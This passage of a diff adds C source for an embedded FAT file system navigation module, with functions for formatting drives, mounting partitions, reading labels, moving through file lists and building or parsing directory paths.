+//! FS_FORMAT_NOMBR_FLAG, if you don't want a MRB on the disk then add this flag (e.g. specific partition structure on a CD support) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! WARNING: This routine can't format a multi-partiton, if the disk contains a multi-partition +//! then this one is erased and replaced by a single partition on ALL disk space. +//! @endverbatim +//! +Bool nav_drive_format( uint8_t u8_fat_type ) +{ + if ( !fat_check_noopen() ) + return false; + if ( !fat_check_nav_access_disk() ) + return false; + if ( !fat_format( u8_fat_type ) ) + return false; + return fat_mount(); +} +#endif // FS_LEVEL_FEATURES + + +//********************************************************************** +//******************* Partition navigation functions ******************* + + +#if (FS_MULTI_PARTITION == ENABLED) +//! This function returns the number of partitions present on drive +//! +//! @return u8_number number of partitions +//! +uint8_t nav_partition_nb( void ) +{ + return fat_get_nbpartition(); +} + + +//! This function selects a partition on drive +//! +//! @param partition_number partition number (0 to 3) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_partition_set( uint8_t partition_number ) +{ + if ( fs_g_nav.u8_partition == partition_number) + return true; // It is the same + + if ( !fat_check_noopen() ) + return false; + + // Go to partition + fs_g_nav.u8_partition = partition_number; + fs_g_nav_fast.u8_type_fat = FS_TYPE_FAT_UNM; + return true; +} +#endif + + +//! This function mounts the selected partition +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! If the FS_MULTI_PARTITION option is disabled +//! then the mount routine selects the first partition supported by file system.
+//! After mount, the file list contains files and directories of ROOT directory +//! @endverbatim +//! +Bool nav_partition_mount( void ) +{ + if ( !fat_check_noopen() ) + return false; + + if( FS_TYPE_FAT_UNM != fs_g_nav_fast.u8_type_fat) + { + // Already mounted + // Go to root directory + fs_g_nav.u32_cluster_sel_dir = 0; + // No file is selected by default + fat_clear_entry_info_and_ptr(); + return true; + } + + return fat_mount(); +} + + +//! This function gives the partition type +//! +//! @return partition type: FS_TYPE_FAT_12, FS_TYPE_FAT_16, FS_TYPE_FAT_32 +//! @return FS_TYPE_FAT_UNM, in case of error or unknow format +//! +uint8_t nav_partition_type( void ) +{ + fat_check_device(); + if( FS_TYPE_FAT_UNM == fs_g_nav_fast.u8_type_fat) + { + nav_partition_mount(); + } + return fs_g_nav_fast.u8_type_fat; +} + + +//! This function reads or writes the serial number on the selected partition +//! +//! @param b_action to select the action
+//! FS_SN_READ to read serial number
+//! FS_SN_WRITE to write serial number
+//! @param a_u8_sn pointer on an array (4 bytes)
+//! if FS_SN_READ, then the array is used to store the serial number
+//! if FS_SN_WRITE, then the array is used to give the new serial number
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_partition_serialnumber( Bool b_action , uint8_t _MEM_TYPE_SLOW_ *a_u8_sn ) +{ + if( !fat_check_mount()) + return false; + + return fat_serialnumber( b_action , a_u8_sn ); +} + + +//! This function reads or writes the label of selected partition +//! +//! @param b_action to select the action
+//! FS_LABEL_READ to read label
+//! FS_LABEL_WRITE to write label
+//! @param sz_label pointer on a ASCII string (11 chars + NULL terminator =12 bytes)
+//! if FS_LABEL_READ, then the string is used to store label
+//! if FS_LABEL_WRITE, then the string is used to give the new label
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_partition_label( Bool b_action , FS_STRING sz_label ) +{ + _MEM_TYPE_SLOW_ Fs_index index; + Bool status = true; + + index = nav_getindex(); // Save current position + + // Go to root dir + if( nav_dir_root()) + { + // Find field label + fs_g_nav_fast.u16_entry_pos_sel_file = 0; // Go to first entry + while( 1 ) + { + if ( !fat_read_dir()) + { + status = false; + break; // error + } + if( fat_entry_label( FS_LABEL_READ , NULL ) ) + break; + if( FS_ERR_ENTRY_EMPTY == fs_g_status ) + break; + fs_g_nav_fast.u16_entry_pos_sel_file++; + } + if( true == status ) + { + // Find OK + if( FS_LABEL_READ == b_action ) + { + // Read field label + if( !fat_entry_label( FS_LABEL_READ , sz_label ) ) + sz_label[0]=0; // empty name + }else{ + // Change field label + status = fat_entry_label( FS_LABEL_WRITE , sz_label ); + } + } + } + nav_gotoindex( &index ); // Restore the position + return status; +} + + +//! This function returns partition total space +//! +//! @return number of sectors +//! @return 0, in case of error +//! +//! @verbatim +//! You shall mounted the partition before call this routine +//! @endverbatim +//! +uint32_t nav_partition_space( void ) +{ + fat_check_device(); + if (FS_TYPE_FAT_UNM == fs_g_nav_fast.u8_type_fat) + return 0; + return (fs_g_nav.u32_CountofCluster * fs_g_nav.u8_BPB_SecPerClus); +} + + +//! This function returns the partition cluster size +//! +//! @return cluster size (unit sector) +//! +uint8_t nav_partition_cluster_size( void ) +{ + return fs_g_nav.u8_BPB_SecPerClus; +} + +//! This function returns the partition free space +//! +//! @return number of free sectors +//! @return 0 in case of error or full partition +//! +//! @verbatim +//! You shall mounted the partition before call this routine +//! @endverbatim +//! +uint32_t nav_partition_freespace( void ) +{ + fat_check_device(); + if (FS_TYPE_FAT_UNM == fs_g_nav_fast.u8_type_fat) + return 0; + return fat_getfreespace(); +} + + +//! This function returns the partition space free in percent +//! +//! @return percent of free space (0% to 100%) +//! @return 0% in case of error or full partition +//! +//! @verbatim +//! To speed up the compute, the resultat have an error delta of 1% +//! @endverbatim +//! +uint8_t nav_partition_freespace_percent( void ) +{ + fat_check_device(); + if (FS_TYPE_FAT_UNM == fs_g_nav_fast.u8_type_fat) + return 0; + return fat_getfreespace_percent(); +} + + +//********************************************************************** +//****************** File list navigation functions ******************** + + +//! To display in File List only the files OR directories +//! +//! @param b_type FS_DIR to display only directories presence
+//! FS_FILE to dispaly only files presence
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_filelist_single_enable( Bool b_type ) +{ + if ( !nav_filelist_reset()) + return false; + + fs_g_nav.b_mode_nav_single = true; + fs_g_nav.b_mode_nav = b_type; + return true; +} + + +//! To display in File List the directories AND files +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_filelist_single_disable( void ) +{ + fs_g_nav.b_mode_nav_single = false; + return nav_filelist_reset(); +} + + +//! This function resets the selection pointer, so "no file selected" in file list +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_filelist_reset( void ) +{ + if ( !fat_check_mount_noopen()) + return false; + + // No file selected and reset navigation + fat_clear_entry_info_and_ptr(); + return true; +} + + +//! This function checks if a file is selected +//! +//! @return true if a file is selected +//! @return false if no file is selected +//! +Bool nav_filelist_validpos( void ) +{ + return fat_check_mount_select_noopen(); +} + + +//! This function checks if no file is open +//! +//! @return true if no file is open +//! @return false if a file is open +//! +Bool nav_filelist_fileisnotopen( void ) +{ + return fat_check_noopen(); +} + + +//! This function moves the selection pointer in file list +//! +//! @param u16_nb numbers of file to jump before stopping action
+//! 0, stop at the first file found
+//! 1, stop at the second file found
+//! +//! @param b_direction search direction
+//! FS_FIND_NEXT, move to next file or directory +//! FS_FIND_PREV, move to previous file or directory +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! Note: if no file is selected then nav_filelist_set( 0 , FS_NEXT ) goes to the first entry of the file list. +//! @endverbatim +//! +Bool nav_filelist_set( uint16_t u16_nb , Bool b_direction ) +{ + uint16_t u16_ptr_save_entry; + uint16_t u16_save_pos_sel_file; + Bool b_save_entry_type; + Bool b_find_last_entry = false; + + if ( !fat_check_mount_noopen()) + return false; + + // Save the current selection + u16_ptr_save_entry = fs_g_nav_fast.u16_entry_pos_sel_file; + u16_save_pos_sel_file = fs_g_nav.u16_pos_sel_file; + b_save_entry_type = fs_g_nav.b_mode_nav; + + // Loop in directory + while( 1 ) + { + if(( FS_FIND_NEXT == b_direction ) + || ( b_find_last_entry ) ) + { + if ( FS_END_FIND == fs_g_nav_fast.u16_entry_pos_sel_file ) + { + // Too many files in directory (case impossible) + fs_g_status = FS_ERR_FS; + break; + } + fs_g_nav_fast.u16_entry_pos_sel_file++; // Update entry position + } + else + { + if ( FS_NO_SEL == fs_g_nav_fast.u16_entry_pos_sel_file ) + { + // No selected file then previous action impossible + fs_g_status = FS_ERR_NO_FIND; + break; + } + if ( 0 == fs_g_nav_fast.u16_entry_pos_sel_file ) + { + // beginning of directory + if ( (FS_DIR == fs_g_nav.b_mode_nav ) || fs_g_nav.b_mode_nav_single ) + { + // End of directory scan, then no previous action possible + fs_g_status = FS_ERR_NO_FIND; + break; + } + // End of file scan, then find last directory + b_find_last_entry = true; + }else{ + fs_g_nav_fast.u16_entry_pos_sel_file--; // Update entry position + } + } + + if( !fat_read_dir()) + { + if( FS_ERR_OUT_LIST != fs_g_status ) + break; // Error + }else{ + if ( fat_entry_check( fs_g_nav.b_mode_nav ) ) + { + // HERE, the file entry match with the type seached + + if( b_find_last_entry ) + continue; // The search of last directory is on going then continue the search + + // Update position in directory + if ( FS_FIND_NEXT == b_direction ) + fs_g_nav.u16_pos_sel_file++; + else + fs_g_nav.u16_pos_sel_file--; + + if (0 == u16_nb) + { + // It is the end of move then update file information + fat_get_entry_info(); + return true; // NB FILE FIND + } + u16_nb--; + continue; + } + } + + // Here error, check type of error + if(( FS_ERR_ENTRY_EMPTY == fs_g_status ) + || ( FS_ERR_OUT_LIST == fs_g_status ) ) + { + // Here, end of the directory + if( b_find_last_entry ) + { + // Re enable the previous command at the end of directory to find the last directory entry + b_find_last_entry = false; + fs_g_nav.b_mode_nav = FS_DIR; + continue; + } + // Here, a next action is on going + if ( (FS_FILE == fs_g_nav.b_mode_nav) || fs_g_nav.b_mode_nav_single ) + { + // End of next file action then end of next action + fs_g_status = FS_ERR_NO_FIND; // No file found + break; // end of search + }else{ + // End of next dir action then starts the next file action at the beginning of directory + fs_g_nav_fast.u16_entry_pos_sel_file = 0xFFFF; + fs_g_nav.b_mode_nav = FS_FILE; + } + } + } // end of loop while(1) + + fs_g_nav.b_mode_nav = b_save_entry_type; + fs_g_nav_fast.u16_entry_pos_sel_file = u16_ptr_save_entry; + fs_g_nav.u16_pos_sel_file = u16_save_pos_sel_file; + return false; +} + + +//! This function returns the position of selected file in file list +//! +//! @return position of selected file (0 is the first position) +//! @return FS_NO_SEL, in case of no file selected +//! +uint16_t nav_filelist_get( void ) +{ + return fs_g_nav.u16_pos_sel_file; +} + + +//! This function goes at a position in file list +//! +//! @param u16_newpos new position to select (0 is the first position) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_filelist_goto( uint16_t u16_newpos ) +{ + uint16_t u16_current_pos; + + if( FS_NO_SEL == u16_newpos ) + return nav_filelist_reset(); + + u16_current_pos = nav_filelist_get(); + if( u16_newpos < (u16_current_pos/2) ) + { + // Restart at the beginning of list to accelerate the search + if( !nav_filelist_reset() ) + return false; + u16_current_pos = FS_NO_SEL; + } + if (FS_NO_SEL == u16_current_pos) + { + return nav_filelist_set( u16_newpos, FS_FIND_NEXT ); + } + else + { + if (u16_newpos < u16_current_pos) + { + return nav_filelist_set( u16_current_pos -u16_newpos -1 , FS_FIND_PREV ); + } + if (u16_newpos > u16_current_pos) + { + return nav_filelist_set( u16_newpos -u16_current_pos - 1 , FS_FIND_NEXT ); + } + } + return true; +} + + +//! This function searchs a file name in file list +//! +//! @param sz_name name to search (UNICODE or ASCII)
+//! It must be terminate by NULL or '*' value +//! @param b_match_case false to ignore the case +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! This function starts a search at the next position of the current in file list +//! @endverbatim +//! +Bool nav_filelist_findname( const FS_STRING sz_name , Bool b_match_case ) +{ + while( 1 ) + { + if ( !nav_filelist_set( 0, FS_FIND_NEXT )) + return false; + if ( nav_file_name( sz_name , 0 , FS_NAME_CHECK , b_match_case )) + return true; + } +} + + +//! This function checks the end of file list +//! +//! @return false, NO end of file list +//! @return true, in case of end of list or error +//! +Bool nav_filelist_eol( void ) +{ + if( false == nav_filelist_set( 0 , FS_FIND_NEXT ) ) + return true; // End of list or error (remark: the position haven't changed) + + if( 0 != fs_g_nav.u16_pos_sel_file ) + { + // Go to previous position + nav_filelist_set( 0 , FS_FIND_PREV ); + }else{ + // No select file before, then reset position + fs_g_nav_fast.u16_entry_pos_sel_file= FS_NO_SEL; + fs_g_nav.u16_pos_sel_file = FS_NO_SEL; + fs_g_nav.b_mode_nav = FS_DIR; + } + return false; +} + + +//! This function checks the beginning of file list +//! +//! @return false, it is not the beginning of file list +//! @return true, in case of the file selected is the first file, or in case of error +//! +Bool nav_filelist_bol( void ) +{ + if( false == nav_filelist_set( 0 , FS_FIND_PREV ) ) + return true; // End of list or error (remark: the position haven't changed) + // Go to previous position + nav_filelist_set( 0 , FS_FIND_NEXT ); + return false; +} + + +//! This function checks the presence of files or directories in file list +//! +//! @param b_type FS_DIR to check the directory presence
+//! FS_FILE to check the file presence
+//! +//! @return true, in case of a file or a directory exists +//! @return false, in case of no file or no directory exists, or error +//! +Bool nav_filelist_exist( Bool b_type ) +{ + Bool status; + uint16_t u16_save_position; + + // Save current position + u16_save_position = fs_g_nav.u16_pos_sel_file; + // Go to first file or directory + status = nav_filelist_first( b_type ); + // Restore previous position + nav_filelist_reset(); + if ( u16_save_position != FS_NO_SEL ) + { + nav_filelist_set( u16_save_position , FS_FIND_NEXT ); + } + return status; +} + + +//! This function computes the number of files or directories in file list +//! +//! @param b_type FS_DIR to compute the number of directories
+//! FS_FILE to compute the number of files
+//! +//! @return number of files or directories in file list +//! +uint16_t nav_filelist_nb( Bool b_type ) +{ + uint16_t u16_save_position; + uint16_t u16_save_number_dir; + uint16_t u16_save_number_file; + + // Save current position + u16_save_position = fs_g_nav.u16_pos_sel_file; + // Reset position + if ( !nav_filelist_reset()) + return 0; + // Scan all directory + u16_save_number_dir = 0; + u16_save_number_file = 0; + while( nav_filelist_set( 0 , FS_FIND_NEXT ) ) + { + if( FS_FILE == fs_g_nav.b_mode_nav ) + u16_save_number_file++; // It is a file + else + u16_save_number_dir++; // It is a directory + } + // Restore previous position + nav_filelist_reset(); + if ( u16_save_position != FS_NO_SEL ) + { + nav_filelist_set( u16_save_position , FS_FIND_NEXT ); + } + // Return the value asked + if( FS_FILE == b_type ) + return u16_save_number_file; + else + return u16_save_number_dir; +} + + +//! This function goes to at the first file or directory in file list +//! +//! @param b_type FS_DIR to go at the first directory
+//! FS_FILE to go at the first file
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_filelist_first( Bool b_type ) +{ + // Reset position + if ( !nav_filelist_reset()) + return false; + // Find the first file or directory + while( nav_filelist_set( 0 , FS_FIND_NEXT ) ) + { + if( b_type == fs_g_nav.b_mode_nav ) + return true; // First file or directory found + } + fs_g_status = FS_ERR_NO_FIND; + return false; +} + + +//! This function goes to at the last file or directory in file list +//! +//! @param b_type FS_DIR to go at the last directory
+//! FS_FILE to go at the last file
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_filelist_last( Bool b_type ) +{ + uint16_t u16_nb; + + // Get number of file or directory + u16_nb = nav_filelist_nb( b_type ); + if( 0 == u16_nb ) + { + fs_g_status = FS_ERR_NO_FIND; + return false; // NO FILE FOUND + } + // Go to the first file or directory + if ( !nav_filelist_first( b_type )) + return false; + // If there are more one file or directory, then go to at the last of list + if( 1 == u16_nb ) + return true; + u16_nb -= 2; + return nav_filelist_set( u16_nb , FS_FIND_NEXT ); +} + + +//********************************************************************** +//************************ Index functions ***************************** + + +//! This function returns a small index on the selected file +//! +//! @return It is a small index structure with information on selected file (disk, partition, dir, file/dir selected) +//! +//! @verbatim +//! This routine is interresting to save a file position in small variable. +//! This pointer allow to reinit a navigator quickly with nav_gotoindex() routine. +//! @endverbatim +//! +Fs_index nav_getindex( void ) +{ + Fs_index index; + + // Fill index structure + index.u8_lun = fs_g_nav.u8_lun; +#if (FS_MULTI_PARTITION == ENABLED) + index.u8_partition = fs_g_nav.u8_partition; +#endif + index.u32_cluster_sel_dir = fs_g_nav.u32_cluster_sel_dir; + index.u16_entry_pos_sel_file = fs_g_nav_fast.u16_entry_pos_sel_file; + return index; +} + + +//! This function selects a file in the navigator via a file index +//! +//! @param index structure with information about file to select (disk, partition, dir, file/dir selected ) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! This routine allow to reinit a navigator quickly via a file index (disk, partition, dir, file/dir selected ) +//! To get a file index, you shall used the routine nav_getindex(). +//! @endverbatim +//! +Bool nav_gotoindex( const Fs_index _MEM_TYPE_SLOW_ *index ) +{ + // Select the drive and partition corresponding at file index + if( !nav_drive_set( index->u8_lun )) + return false; +#if (FS_MULTI_PARTITION == ENABLED) + if( !nav_partition_set(index->u8_partition)) + return false; +#endif + if( !nav_partition_mount()) + return false; + + // Select the directory corresponding at file index + fs_g_nav.u32_cluster_sel_dir = index->u32_cluster_sel_dir; + + // Search the file position corresponding at file index + if ( !nav_filelist_reset()) + return false; + while( fs_g_nav_fast.u16_entry_pos_sel_file != index->u16_entry_pos_sel_file ) + { + if( !nav_filelist_set( 0 , FS_FIND_NEXT ) ) + { + nav_filelist_reset(); + return false; + } + } + return true; +} + + +//********************************************************************** +//************************ Directory functions ************************* + + +//! This function initializes the file list on the root directory +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_dir_root( void ) +{ + return nav_partition_mount(); +} + + +//! This function check the current directory +//! +//! @return false the current directory selected is not the root directory +//! @return true the current directory selected is the root directory +//! +Bool nav_dir_is_root( void ) +{ + if (!fat_check_mount_noopen()) + return false; + + return (0 == fs_g_nav.u32_cluster_sel_dir); +} + + +//! This function enters in the selected directory in file list +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! After this routine the file list changes and contains the files and directories of the new directory. +//! By default no file is selected. +//! @endverbatim +//! +Bool nav_dir_cd( void ) +{ + if ( !fat_check_mount_select_noopen()) + return false; + + // The current selection, is it a directory ? + if ( !fat_entry_is_dir()) + return false; + + // Select the current directory + fs_g_nav.u16_entry_pos_sel_dir = fs_g_nav_fast.u16_entry_pos_sel_file; + fs_g_nav.u32_cluster_sel_dir = fs_g_nav_entry.u32_cluster; + + // Reset file list + if( false == nav_filelist_reset()) + return false; + return true; +} + + +//! This function goes to the parent directory +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! After, the file list changes and contains the files and directories of the new directory. +//! By default, the file selected in file list is the previous (children) directory. +//! @endverbatim +//! +Bool nav_dir_gotoparent( void ) +{ + uint32_t u32_cluster_old_dir; + + if (!fat_check_mount_noopen()) + return false; + + if (0 == fs_g_nav.u32_cluster_sel_dir) + { + fs_g_status = FS_ERR_IS_ROOT; // There aren't parent + return false; + } + + // Select and read information about directory ".." + fs_g_nav_fast.u16_entry_pos_sel_file = 1; + if ( !fat_read_dir()) + return false; + fat_get_entry_info(); + // Save the children directory cluster + u32_cluster_old_dir = fs_g_nav.u32_cluster_sel_dir; + + // Select the parent directory via information present in the current directory ".." + fs_g_nav.u32_cluster_sel_dir = fs_g_nav_entry.u32_cluster; + + // Select the children directory in new directory (=parent directory) + if( false == nav_filelist_reset()) + return false; + if( fs_g_nav.b_mode_nav_single && (FS_DIR != fs_g_nav.b_mode_nav) ) + return true; + + while( nav_filelist_set( 0 , FS_FIND_NEXT ) ) + { + if (fs_g_nav_entry.u32_cluster == u32_cluster_old_dir) + return true; // It is the children directory + } + fs_g_status = FS_ERR_FS; + return false; +} + + +//! This function returns the directory name corresponding at the file list +//! +//! @param sz_path string to store the name (ASCII or UNICODE ) +//! @param u8_size_max string size (unit ASCII or UNICODE ) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_dir_name( FS_STRING sz_path , uint8_t u8_size_max ) +{ + uint8_t u8_i, u8_character; + Bool status = false; + uint16_t save_u16_entry_pos_sel_file; + uint32_t save_u32_cluster_sel_dir; + uint8_t save_u8_attr ; + uint32_t save_u32_cluster ; + uint32_t save_u32_size ; + Bool b_mode_nav_single_save; + Bool b_mode_nav_mode_save; + + if ( !fat_check_mount_noopen()) + return false; + + if (0 != fs_g_nav.u32_cluster_sel_dir) + { + // Save context + save_u16_entry_pos_sel_file= fs_g_nav_fast.u16_entry_pos_sel_file; + save_u32_cluster_sel_dir = fs_g_nav.u32_cluster_sel_dir ; + save_u8_attr = fs_g_nav_entry.u8_attr ; + save_u32_cluster = fs_g_nav_entry.u32_cluster ; + save_u32_size = fs_g_nav_entry.u32_size ; + b_mode_nav_single_save = fs_g_nav.b_mode_nav_single; + b_mode_nav_mode_save = fs_g_nav.b_mode_nav; + fs_g_nav.b_mode_nav_single = true; + fs_g_nav.b_mode_nav = FS_FILE; + // Go to parent directory and select the children directory + if( !nav_dir_gotoparent() ) + { + fs_g_nav.b_mode_nav_single = b_mode_nav_single_save; + fs_g_nav.b_mode_nav = b_mode_nav_mode_save; + return false; + } + fs_g_nav.b_mode_nav_single = b_mode_nav_single_save ; + fs_g_nav.b_mode_nav = b_mode_nav_mode_save; + // Go to directory name position + fs_g_nav_fast.u16_entry_pos_sel_file = fs_g_nav.u16_entry_pos_sel_dir; + status = nav_file_name( sz_path , u8_size_max , FS_NAME_GET , false ); + // Restore previous context + fs_g_nav_fast.u16_entry_pos_sel_file= save_u16_entry_pos_sel_file; + fs_g_nav.u32_cluster_sel_dir = save_u32_cluster_sel_dir ; + fs_g_nav_entry.u8_attr = save_u8_attr ; + fs_g_nav_entry.u32_cluster = save_u32_cluster ; + fs_g_nav_entry.u32_size = save_u32_size ; + } + else + { + // No parent directory, then it is the root directory + if( g_b_string_length ) + { + ((FS_STR_UNICODE)sz_path )[0] = 3; // 3 chars for path "x:" + status = true; + }else + + // Create a device name + for( u8_i = 0 ; u8_i<3 ; u8_i++ ) + { + switch( u8_i ) + { + case 0: + u8_character = nav_drive_getname(); // Letter + break; + case 1: + u8_character = ':'; // ":" + break; + case 2: + default: + u8_character = 0; // end of string + break; + } + if( Is_unicode ) + { + ((FS_STR_UNICODE)sz_path )[0] = u8_character; + }else{ + sz_path [0] = u8_character; + } + sz_path += (Is_unicode? 2 : 1 ); + } + status = true; + + } + return status; +} + + +#if (FSFEATURE_WRITE_COMPLET == (FS_LEVEL_FEATURES & FSFEATURE_WRITE_COMPLET)) +//! This function creates a directory in the directory corresponding at file list +//! +//! @param sz_name directory name (ASCII or UNICODE ) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_dir_make( const FS_STRING sz_name ) +{ + if ( !fat_check_mount_noopen()) + return false; + + // Create an entry file + if ( !nav_file_create( sz_name )) + return false; + + // Allocate one cluster for the new directory + MSB0(fs_g_seg.u32_addr)=0xFF; // It is a new cluster list + fs_g_seg.u32_size_or_pos = 1; // Only one sector (= one cluster) + if ( !fat_allocfreespace()) + { + fat_delete_file( false ); + fat_cache_flush(); + return false; + } + + // Save information about the new directory + fs_g_nav_entry.u32_cluster = fs_g_seg.u32_addr; // First cluster of the directory returned by alloc_free_space + fs_g_nav_entry.u32_size = 0; // The directory size is null + fs_g_nav_entry.u8_attr = FS_ATTR_DIRECTORY; // Directory attribut + + // Initialize the values in the new directory + if ( !fat_initialize_dir()) + return false; + + // Write directory information in her entry file + if ( !fat_read_dir()) + return false; + fat_write_entry_file(); + if( !fat_cache_flush()) + return false; + + // Go to position of new directory (it is the last directory) + return nav_filelist_last( FS_DIR ); +} +#endif // FS_LEVEL_FEATURES + + +//! This function returns the full path of the selection +//! +//! @param sz_path string to store the path (ASCII or UNICODE ) +//! @param u8_size_path string size (unit ASCII or UNICODE ) +//! @param b_view_file_select true, to include in path the selected file name +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_getcwd( FS_STRING sz_path , uint8_t u8_size_path , Bool b_view_file_select ) +{ + _MEM_TYPE_SLOW_ Fs_index index; + _MEM_TYPE_SLOW_ uint16_t u16_lgt=0; // Only used if LENGTH string mode enabled + uint8_t u8_save_size_path=0, u8_i; + Bool status = false; // Error by default + + if ( !fat_check_mount_noopen()) + return false; + + index = nav_getindex(); // Save current position + + if( g_b_string_length ) + { + u16_lgt = 1; // 1 for NULL terminate + } + else + { + u8_save_size_path = u8_size_path; + // Set NULL terminator at the end of path + u8_size_path--; + if( Is_unicode ) + { + ((FS_STR_UNICODE)sz_path )[u8_size_path] = 0; + }else{ + sz_path [u8_size_path] = 0; + } + } + + // For each directory of path + while( 1 ) + { + if( b_view_file_select ) + { + // Write the selected file or directory in path + b_view_file_select = false; + if( !fat_check_select() ) + continue; // No selected file or directory, then restart loop to go at the first directory of path + } + else + { + // Go to parent directory and selects the children directory + if( !nav_dir_gotoparent() ) + break; + } + + // Read name of selected file or directory + if( !nav_file_name( sz_path , u8_size_path , FS_NAME_GET, false )) + break; + + if( g_b_string_length ) + { + // Update total length + u16_lgt += ((FS_STR_UNICODE)sz_path )[0]; // 0 = -1 to remove NULL terminated and +1 for '\\' + continue; + } + + // Compute the size of name + u8_i = 0; + while( 1 ) + { + if( Is_unicode ) + { + if( 0 == ((FS_STR_UNICODE)sz_path )[u8_i]) + break; + }else{ + if( 0 == sz_path [u8_i]) + break; + } + u8_i++; + } + + // Check the string size + if( (u8_i+1) == u8_size_path ) + { + fs_g_status = FS_ERR_BUFFER_FULL; // The path string is full + break; + } + + // Move the name at the end of path + while( 0 != u8_i ) + { + u8_i--; + u8_size_path--; + if( Is_unicode ) + { + ((FS_STR_UNICODE)sz_path )[u8_size_path] = ((FS_STR_UNICODE)sz_path )[u8_i]; + }else{ + sz_path [u8_size_path] = sz_path [u8_i]; + } + } + // Set '\' char before the name + u8_size_path--; + if( Is_unicode ) + { + ((FS_STR_UNICODE)sz_path )[u8_size_path] = '\\'; + }else{ + sz_path [u8_size_path] = '\\'; + } + } + + if ( FS_ERR_IS_ROOT == fs_g_status ) + { + if( g_b_string_length ) + { + // Update and write total length + ((FS_STR_UNICODE)sz_path )[0] = u16_lgt +2 ; //+2 for "x:" + status = true; + } + else + { + // End of path then add device name + if( 2 > u8_size_path ) + { + fs_g_status = FS_ERR_BUFFER_FULL; // The path string is full + } + else + { + // Create a device name + if( Is_unicode ) + { + ((FS_STR_UNICODE)sz_path )[0] = nav_drive_getname(); // Letter + ((FS_STR_UNICODE)sz_path )[1] = ':'; // ":" + }else{ + sz_path [0] = nav_drive_getname(); // Letter + sz_path [1] = ':'; // ":" + } + + // The path is stored at the end, then move the path at the beginning + u8_i = 2; + while( u8_save_size_path != u8_size_path ) + { + if( Is_unicode ) + { + ((FS_STR_UNICODE)sz_path )[u8_i] = ((FS_STR_UNICODE)sz_path )[u8_size_path]; + }else{ + sz_path [u8_i] = sz_path [u8_size_path]; + } + u8_i++; + u8_size_path++; + } + status = true; + } + } + } // else Error system + + nav_gotoindex( &index ); // Restore the position + return status; +} + + +//! This function selects a disk position via a path +//! +//! @param sz_path path string (ASCII or UNICODE ) +//! @param b_match_case false to ignore the case +//! @param b_create true, if path does not exist then create it
+//! false, no create path
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! The syntact "./../../file_name" is supported. +//! With syntact "./dir_parent/directory_name" the file list corresponding at "dir_parent" and "directory_name" is selected. +//! With syntact "./dir_parent/directory_name/" the file list corresponding at "directory_name" and no file is selected. +//! @endverbatim +//! +Bool nav_setcwd( FS_STRING sz_path , Bool b_match_case , Bool b_create ) +{ + _MEM_TYPE_SLOW_ Fs_index index; +#if (FSFEATURE_WRITE == (FS_LEVEL_FEATURES & FSFEATURE_WRITE)) || \ + (FSFEATURE_WRITE_COMPLET == (FS_LEVEL_FEATURES & FSFEATURE_WRITE_COMPLET)) + FS_STRING sz_save_path = 0; +#endif + Bool b_create_name = false; + + if ( !fat_check_noopen()) + return false; + + index = nav_getindex(); // Save current position + + // Check syntact "\path..." + if( (( Is_unicode) && (('\\' == ((FS_STR_UNICODE)sz_path )[0]) || ('/' == ((FS_STR_UNICODE)sz_path )[0])) ) + || ((!Is_unicode) && (('\\' == sz_path [0]) || ('/' == sz_path [0])) ) ) + { + // Go to the root of current drive + if( !nav_dir_root()) + goto nav_setcwd_fail; + sz_path += (Is_unicode? 2 : 1 ); + }else + + // Check syntact "x:\path..." + if( (( Is_unicode) && (( ':' == ((FS_STR_UNICODE)sz_path )[1] ) && (('\\' == ((FS_STR_UNICODE)sz_path )[2] ) || ('/' == ((FS_STR_UNICODE)sz_path )[2]))) ) + || ((!Is_unicode) && (( ':' == sz_path [1] ) && (('\\' == sz_path [2] ) || ('/' == sz_path [2]))) ) ) + { + // Go to the drive + if( Is_unicode ) + { + if( !nav_drive_set( toupper(((FS_STR_UNICODE)sz_path )[0])-'A' ) ) + goto nav_setcwd_fail; + }else{ + if( !nav_drive_set( toupper(sz_path [0])-'A' ) ) + goto nav_setcwd_fail; + } + if( !nav_partition_mount()) + goto nav_setcwd_fail; + sz_path += 3*(Is_unicode? 2 : 1 ); + }else + + // Check syntact ".\path..." + if( (( Is_unicode) && (( '.' == ((FS_STR_UNICODE)sz_path )[0] ) && (('\\' == ((FS_STR_UNICODE)sz_path )[1] ) || ('/' == ((FS_STR_UNICODE)sz_path )[1] ))) ) + || ((!Is_unicode) && (( '.' == sz_path [0] ) && (('\\' == sz_path [1] ) || ('/' == sz_path [1] ))) ) ) + { + // Search in current directory + sz_path += 2*(Is_unicode? 2 : 1 ); + }else + + { + // Check syntact "..\..\path..." + if( Is_unicode ) + { + while(( '.' == ((FS_STR_UNICODE)sz_path )[0] ) + && ( 